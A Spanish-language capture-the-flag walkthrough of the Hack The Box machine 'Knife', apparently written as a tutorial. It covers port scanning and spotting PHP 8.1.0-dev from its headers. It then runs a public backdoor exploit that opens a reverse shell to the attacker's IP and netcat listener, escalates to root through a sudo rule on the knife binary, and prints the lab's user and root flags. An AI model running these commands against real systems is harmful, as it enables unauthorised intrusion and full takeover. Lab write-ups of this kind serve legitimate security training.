Knife

mkdir -p ~/htb/knife/nmap && cd ~/htb/knife
nmap -p- --min-rate 1000 -oA nmap/allports 10.129.62.139

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Dos puertos. Mismo razonamiento que Cap: SSH (22) pide credenciales que no tienes → puerta cerrada con llave, se descarta como entrada inicial. HTTP (80) es la única superficie explorable. Con solo dos puertas y una cerrada, la decisión no admite duda: se empieza por HTTP.

La web no muestra nada obvio

Abres http://10.129.62.139 en Firefox y ves una página de empresa médica ficticia (EMA: Emergent Medical Idea): puro texto, los enlaces de arriba no hacen nada, sin funciones visibles. A simple vista no hay qué explotar.

Inspeccionar las cabeceras HTTP

Cada respuesta web trae "cabeceras": metadatos invisibles que a veces revelan el software y sus versiones. Es como leer la etiqueta de fabricación. Desde la terminal, sin navegador:

curl -I http://10.129.62.139

curl hace peticiones web desde la consola; -I pide solo las cabeceras, no el contenido.

HTTP/1.1 200 OK
Server: Apache/2.4.41 (Ubuntu)
X-Powered-By: PHP/8.1.0-dev
Content-Type: text/html; charset=UTF-8

Server: Apache/2.4.41 (Ubuntu) confirma Ubuntu/Linux. Y la joya: X-Powered-By: PHP/8.1.0-dev.

Conseguir y leer el exploit

Las referencias apuntan a un exploit ya escrito en Python (repo de flast101). Se clona y, regla de oro, se lee antes de ejecutar: nunca dispares un exploit a ciegas.

git clone https://github.com/flast101/php-8.1.0-dev-backdoor-rce.git
cd php-8.1.0-dev-backdoor-rce
cat revshell_php_8.1.0-dev.py

Dentro del script se ve materializado todo lo investigado: manda la cabecera User-Agentt con zerodiumsystem('...') y dentro un payload de reverse shell. También comprueba primero que el server corra PHP/8.1.0-dev antes de atacar. Su uso:

python3 revshell_php_8.1.0-dev.py <target-ip> <attacker-ip> <attacker-port>

1 · Ponte a la escucha (listener)

En una terminal, espera la conexión entrante con netcat. Queda "colgada" escuchando, es correcto, no la cierres.

nc -lvnp 4444

-l listen · -v verbose · -n sin DNS · -p 4444 puerto (el mismo que le pasarás al exploit).

2 · Dispara el exploit

Confirma tu IP de tun0 (ip a show tun0), un error clásico: pasar la IP de eth0 en vez de la de la VPN, y la shell nunca llega. Orden: URL víctima → tu IP → tu puerto.

python3 revshell_php_8.1.0-dev.py http://10.129.62.139 10.10.14.57 4444

La magia ocurre en la terminal del netcat: cae la conexión y aparece un prompt nuevo.

connect to [10.10.14.57] from (UNKNOWN) [10.129.62.139] 45772
james@knife:/$

Los avisos no job control in this shell no son errores: es una shell básica. El prompt james@knife ya te dice el usuario del servidor web.

3 · Estabiliza la shell

Truco que usarás en cada reverse shell: convertir la shell básica en una más funcional (prompt completo).

python3 -c 'import pty; pty.spawn("/bin/bash")'

4 · User flag

whoami            # -> james
cat /home/james/user.txt   # -> bf5dfa0cc747705d9ec81c5ecf28b79c

Preguntar qué te permite sudo

sudo -l

User james may run the following commands on knife:
    (root) NOPASSWD: /usr/bin/knife

Lectura: (root) lo corres como root · NOPASSWD sin contraseña (por eso sudo -l funcionó sin la clave de james) · /usr/bin/knife el binario. Ese es el boleto, y la razón del nombre de la máquina.

Qué es knife, y GTFOBins

knife es la CLI de Chef, una plataforma de gestión de configuración. Lo relevante: knife puede ejecutar código Ruby. El mismo patrón letal de Cap: un binario que corre como root y ejecuta código que tú le das.

Armar el comando y saltar a root

Combinas la cáscara de knife con el Ruby de ruby, con sudo delante:

sudo knife exec -E 'exec "/bin/sh"'
whoami   # -> root
id       # -> uid=0(root) gid=0(root) groups=0(root)

El prompt cambia a #. Lógica idéntica a Cap: sudo corre knife como root → knife ejecuta el Ruby → el Ruby lanza una shell → como todo corre como root, la shell es de root.

Root flag

cat /root/root.txt   # -> 67d2dd2560757b41cd5019a89a441df5

Máquina comprometida por completo.